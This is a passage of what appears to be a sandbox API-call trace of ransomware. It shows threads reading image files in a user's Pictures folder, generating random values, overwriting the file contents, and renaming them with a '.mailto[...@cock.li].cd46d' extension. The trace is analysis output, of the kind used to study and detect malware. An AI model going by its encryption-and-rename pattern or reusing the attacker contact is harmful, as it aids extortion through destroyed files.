[0063.385] wcscpy (in: _Dest=0x5e02960, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg" [0063.385] wcscat (in: _Dest=0x5e02960, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg.mailto[2Hamlampampom@cock.li].cd46d" [0063.385] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xba8f99c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\3UnBV.jpg.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.385] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d460 [0063.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.386] NtQueryInformationFile (in: FileHandle=0x1190, IoStatusBlock=0xba8f9a8, FileInformation=0xba8f980, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xba8f9a8, FileInformation=0xba8f980) returned 0x0 [0063.386] NtSetInformationFile (FileHandle=0x1190, IoStatusBlock=0xba8f9a8, FileInformation=0xba8f980, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02960) returned 1 [0063.391] FlushFileBuffers (hFile=0x1190) returned 1 [0066.222] CloseHandle (hObject=0x1190) Thread: id = 1132 os_tid = 0xbbc [0059.616] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\cfp6hzz_m6xzkh.bmp")) returned 0x20 [0059.616] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp", dwFileAttributes=0x20) returned 1 [0059.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\cfp6hzz_m6xzkh.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1194 [0059.616] GetFileSizeEx (in: hFile=0x1194, lpFileSize=0xb42fe04 | out: lpFileSize=0xb42fe04*=14215) returned 1 [0059.616] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x3783, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.616] ReadFile (in: hFile=0x1194, lpBuffer=0xb42fd88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb42fd84, lpOverlapped=0x0 | out: lpBuffer=0xb42fd88*, lpNumberOfBytesRead=0xb42fd84*=0x4, lpOverlapped=0x0) returned 1 [0059.617] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0a0 [0059.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0f0 [0059.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce168 [0059.617] NtQuerySystemTime (in: CurrentTime=0xb42fd64 | out: CurrentTime=0xb42fd64*=132174898236000000) returned 0x0 [0059.617] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x30c55cb [0059.617] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x2355d760 [0059.617] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x2a408889 [0059.617] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x6b0f15d0 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x48831318 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x7fbe7e25 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x3b16ce91 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x128317c0 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x24dd333 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x3f7d28b8 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x29cbc2c5 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x6236e3e2 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x6ae43314 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x1fae07b6 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x953d3d6 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x56dfcd59 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x45c374f3 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x418ee340 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x73839cb6 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0xf7fc24c [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x6eabe32a [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x110a2a9 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x47ee15f9 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x1841c6a4 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x3495e818 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x19cf3623 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x44308f89 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x242ac1b9 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x67bfd9b4 [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x4e181eeb [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x45ba154c [0059.618] RtlRandomEx (in: Seed=0xb42fd70 | out: Seed=0xb42fd70) returned 0x7cf14c4f [0059.631] ReadFile (in: hFile=0x1194, lpBuffer=0x1969e970, nNumberOfBytesToRead=0x3787, lpNumberOfBytesRead=0xb42fd60, lpOverlapped=0x0 | out: lpBuffer=0x1969e970*, lpNumberOfBytesRead=0xb42fd60*=0x3787, lpOverlapped=0x0) returned 1 [0059.632] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.632] WriteFile (in: hFile=0x1194, lpBuffer=0x196ab178*, nNumberOfBytesToWrite=0x3787, lpNumberOfBytesWritten=0xb42fd5c, lpOverlapped=0x0 | out: lpBuffer=0x196ab178*, lpNumberOfBytesWritten=0xb42fd5c*=0x3787, lpOverlapped=0x0) returned 1 [0062.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06f0 [0062.506] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d00b0 [0062.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00b0) returned 1 [0062.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196ab178) returned 1 [0062.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1969e970) returned 1 [0062.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437d00) returned 1 [0062.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0062.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4a6520 [0062.507] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.507] WriteFile (in: hFile=0x1194, lpBuffer=0x5efe3a8*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0xb42fdc4, lpOverlapped=0x0 | out: lpBuffer=0x5efe3a8*, lpNumberOfBytesWritten=0xb42fdc4*=0x115, lpOverlapped=0x0) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe3a8) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6560) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00b0) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6520) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06f0) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce0f0) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce190) returned 1 [0062.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1b8) returned 1 [0062.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00af0 [0062.843] wcscpy (in: _Dest=0x5e00af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp" [0062.843] wcscat (in: _Dest=0x5e00af0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0062.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb42fd7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\cfP6hZZ_M6XZKh.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0062.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0062.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x431ec8) returned 1 [0062.920] NtQueryInformationFile (in: FileHandle=0x1194, IoStatusBlock=0xb42fd88, FileInformation=0xb42fd60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb42fd88, FileInformation=0xb42fd60) returned 0x0 [0062.920] NtSetInformationFile (FileHandle=0x1194, IoStatusBlock=0xb42fd88, FileInformation=0xb42fd60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0062.943] FlushFileBuffers (hFile=0x1194) returned 1 [0066.196] CloseHandle (hObject=0x1194) Thread: id = 1133 os_tid = 0xb14 [0059.637] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\hn80.png")) returned 0x20 [0059.637] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png", dwFileAttributes=0x20) returned 1 [0059.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\hn80.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1198 [0059.637] GetFileSizeEx (in: hFile=0x1198, lpFileSize=0x7c2fb10 | out: lpFileSize=0x7c2fb10*=11851) returned 1 [0059.637] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x2e47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.637] ReadFile (in: hFile=0x1198, lpBuffer=0x7c2fa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c2fa90, lpOverlapped=0x0 | out: lpBuffer=0x7c2fa94*, lpNumberOfBytesRead=0x7c2fa90*=0x4, lpOverlapped=0x0) returned 1 [0059.638] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0a0 [0059.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce168 [0059.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1e0 [0059.638] NtQuerySystemTime (in: CurrentTime=0x7c2fa70 | out: CurrentTime=0x7c2fa70*=132174898236156000) returned 0x0 [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x688299c7 [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x3cb79f2d [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x58832843 [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x29be5bda [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x63b98ca2 [0059.638] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x55cd8494 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x2fe1f15 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x3da17986 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x2dc40b9d [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x13e64417 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x6e192d41 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x68a84a8e [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x6b58c5dd [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x8f85a13 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x1c40463a [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x36ed023e [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x253af92d [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x125bc1b [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x756818f4 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x4bab9c69 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x22f1a876 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x5c420aa5 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x7162e1c0 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x1ba51e8d [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x5a678d7c [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x16fe903e [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x284a17da [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x2858fae2 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x7aeab67f [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x32c85441 [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x3f6daff [0059.639] RtlRandomEx (in: Seed=0x7c2fa7c | out: Seed=0x7c2fa7c) returned 0x3e76d39f [0059.652] ReadFile (in: hFile=0x1198, lpBuffer=0x196b7980, nNumberOfBytesToRead=0x2e4b, lpNumberOfBytesRead=0x7c2fa6c, lpOverlapped=0x0 | out: lpBuffer=0x196b7980*, lpNumberOfBytesRead=0x7c2fa6c*=0x2e4b, lpOverlapped=0x0) returned 1 [0059.652] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.652] WriteFile (in: hFile=0x1198, lpBuffer=0x9602e38*, nNumberOfBytesToWrite=0x2e4b, lpNumberOfBytesWritten=0x7c2fa68, lpOverlapped=0x0 | out: lpBuffer=0x9602e38*, lpNumberOfBytesWritten=0x7c2fa68*=0x2e4b, lpOverlapped=0x0) returned 1 [0062.508] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0062.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4289b0 [0062.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289b0) returned 1 [0062.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9602e38) returned 1 [0062.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196b7980) returned 1 [0062.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437d78) returned 1 [0062.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0062.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1d) returned 0x4289b0 [0062.509] SetFilePointerEx (in: hFile=0x1198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.509] WriteFile (in: hFile=0x1198, lpBuffer=0x12e2bdd0*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x7c2fad0, lpOverlapped=0x0 | out: lpBuffer=0x12e2bdd0*, lpNumberOfBytesWritten=0x7c2fad0*=0x101, lpOverlapped=0x0) returned 1 [0062.844] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2bdd0) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289d8) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428be0) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4289b0) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce168) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce208) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce230) returned 1 [0063.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb4) returned 0x5e02a20 [0063.387] wcscpy (in: _Dest=0x5e02a20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png" [0063.387] wcscat (in: _Dest=0x5e02a20, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png.mailto[2Hamlampampom@cock.li].cd46d" [0063.387] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x7c2fa88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\Hn80.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40d460 [0063.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0063.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.388] NtQueryInformationFile (in: FileHandle=0x1198, IoStatusBlock=0x7c2fa94, FileInformation=0x7c2fa6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x7c2fa94, FileInformation=0x7c2fa6c) returned 0x0 [0063.388] NtSetInformationFile (FileHandle=0x1198, IoStatusBlock=0x7c2fa94, FileInformation=0x7c2fa6c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02a20) returned 1 [0063.390] FlushFileBuffers (hFile=0x1198) returned 1 [0066.204] CloseHandle (hObject=0x1198) Thread: id = 1134 os_tid = 0xb20 [0059.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45f338 [0059.653] wcscpy (in: _Dest=0x45f338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0059.653] wcscat (in: _Dest=0x45f338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0059.653] wcscat (in: _Dest=0x45f338, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*" [0059.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45b240 [0059.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\*", lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f08740, ftCreationTime.dwHighDateTime=0x1d4cb33, ftLastAccessTime.dwLowDateTime=0x1c8232a0, ftLastAccessTime.dwHighDateTime=0x1d4ceee, ftLastWriteTime.dwLowDateTime=0x1c8232a0, ftLastWriteTime.dwHighDateTime=0x1d4ceee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a3e8 [0059.653] wcscmp (_String1=".", _String2=".") returned 0 [0059.653] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90f08740, ftCreationTime.dwHighDateTime=0x1d4cb33, ftLastAccessTime.dwLowDateTime=0x1c8232a0, ftLastAccessTime.dwHighDateTime=0x1d4ceee, ftLastWriteTime.dwLowDateTime=0x1c8232a0, ftLastWriteTime.dwHighDateTime=0x1d4ceee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.653] wcscmp (_String1="..", _String2=".") returned 1 [0059.653] wcscmp (_String1="..", _String2="..") returned 0 [0059.653] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97a991e0, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0xcde75560, ftLastAccessTime.dwHighDateTime=0x1d4ce81, ftLastWriteTime.dwLowDateTime=0xcde75560, ftLastWriteTime.dwHighDateTime=0x1d4ce81, nFileSizeHigh=0x0, nFileSizeLow=0x18f2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="- eVRcwm7Ovm.png", cAlternateFileName="-EVRCW~1.PNG")) returned 1 [0059.653] wcscmp (_String1="- eVRcwm7Ovm.png", _String2=".") returned -1 [0059.653] wcscmp (_String1="- eVRcwm7Ovm.png", _String2="..") returned -1 [0059.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec4c88 [0059.653] wcscpy (in: _Dest=0x5ec4c88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0059.653] wcscat (in: _Dest=0x5ec4c88, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0059.653] wcscat (in: _Dest=0x5ec4c88, _Source="- eVRcwm7Ovm.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\- 